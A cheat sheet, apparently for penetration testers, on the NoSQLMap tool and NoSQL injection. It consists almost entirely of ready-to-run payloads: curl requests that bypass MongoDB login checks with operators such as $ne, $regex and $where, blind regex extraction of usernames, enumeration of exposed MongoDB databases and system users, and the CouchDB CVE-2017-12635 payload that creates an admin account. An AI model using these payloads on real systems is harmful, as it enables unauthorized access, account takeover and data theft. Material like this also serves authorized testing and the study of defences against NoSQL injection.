Nosqlmap

NoSQLMap

Automated NoSQL injection and exploitation — MongoDB, CouchDB, server-side JS injection.

Quick Start

git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap && python3 setup.py install

# Launch interactive menu
python3 nosqlmap.py

# Or direct web app attack
python3 nosqlmap.py --attack 3

Interactive Menu

Main Menu:
  1 - Set options (target, port, URI)
  2 - NoSQL DB Access Attacks       # Direct DB connection exploits
  3 - NoSQL Web App Attacks         # HTTP injection via web app
  4 - Scan for Anonymous MongoDB Access
  x - Exit

Web App Attack Setup (Option 3)

Set options first:
  1 - Set target host: target.com
  2 - Set web app port: 443
  3 - Set URI: /api/login
  4 - Set HTTP method: POST
  5 - Set POST data: {"username":"admin","password":"test"}
  6 - Set parameter to attack: password

Then run:
  3 - Assess NoSQL injections       # Test all injection types
  4 - MongoDB injection             # Focused MongoDB test

Injection Techniques

Raw Manual Payloads

# JSON body — auth bypass
curl -s -X POST https://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrongpass"}}'

# URL parameter — array injection
curl "https://target.com/api?user[$ne]=invalid"

# PHP-style param array
curl "https://target.com/api?user[$regex]=.*&password[$ne]=invalid"

Direct MongoDB Access Attacks (Option 2)

Requires network access to MongoDB port (27017):

# Anonymous access scan (no creds required)
python3 nosqlmap.py --attack 4 --rhost 10.0.0.1

# Enumerate databases on open MongoDB
mongo --host target.com --port 27017
> show dbs
> use admin
> show collections
> db.users.find()

NoSQLMap Flags (Direct Mode)

MongoDB Auth Bypass Cheat Sheet

// Login forms — try these as password values:
{"$ne": null}
{"$ne": "x"}
{"$gt": ""}
{"$gte": ""}
{"$regex": ".*"}
{"$where": "1==1"}

// Username + password bypass combo:
// username: admin, password: {"$ne": "x"}
// username: {"$regex": "admin.*"}, password: {"$ne": "x"}

References

• NoSQLMap GitHub
• NoSQL injection payloads: references/nosql-payloads.md
• HackTricks NoSQL Injection

NoSQL Injection Payloads

MongoDB Operator Injection

// Authentication bypass — password field
{"$ne": null}
{"$ne": "invalidvalue"}
{"$gt": ""}
{"$gte": ""}
{"$lt": "zzzzz"}
{"$regex": ".*"}
{"$in": ["admin", "user", "root"]}

// Server-side JS (requires $where enabled)
{"$where": "1==1"}
{"$where": "this.password.length > 0"}
{"$where": "function() { return true; }"}

URL Parameter Injection

# PHP-style array → MongoDB operator
GET /api?user[$ne]=invalid&pass[$ne]=invalid

# JSON body with operator
POST /api/login
{"username": {"$regex": "admin.*"}, "password": {"$ne": "x"}}

# Nested operator
{"user": {"$or": [{"name": "admin"}, {"name": "root"}]}}

Payloads by Attack Goal

Auth Bypass

# Most common
username=admin&password[$ne]=wrongpassword
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$gt]=
username[$regex]=.*&password[$regex]=.*

Data Extraction (Blind Boolean)

# Extract username character by character
# Iterate a-z0-9 until response changes
{"username": {"$regex": "^a"}}   # Does username start with 'a'?
{"username": {"$regex": "^ad"}}  # Does username start with 'ad'?
{"username": {"$regex": "^adm"}} # ...

MongoDB Shell Injection (Direct)

// If MongoDB shell is directly accessible
db.users.find({username: {$ne: null}})
db.users.find({password: {$regex: ".*"}})
db.system.users.find()  // List all users
db.adminCommand({listDatabases: 1})

CouchDB Injection

# Unauthenticated access
http://target.com:5984/_all_dbs
http://target.com:5984/DATABASE/_all_docs

# Admin creation (CVE-2017-12635)
PUT http://target.com:5984/_users/org.couchdb.user:attacker
{"name":"attacker","password":"password","roles":["_admin"],"type":"user"}

Filters for nosqlmap

In NoSQLMap interactive mode, useful parameter names to try:

• username, user, email, login
• password, pass, pwd, passwd
• id, _id, userId
• token, session, auth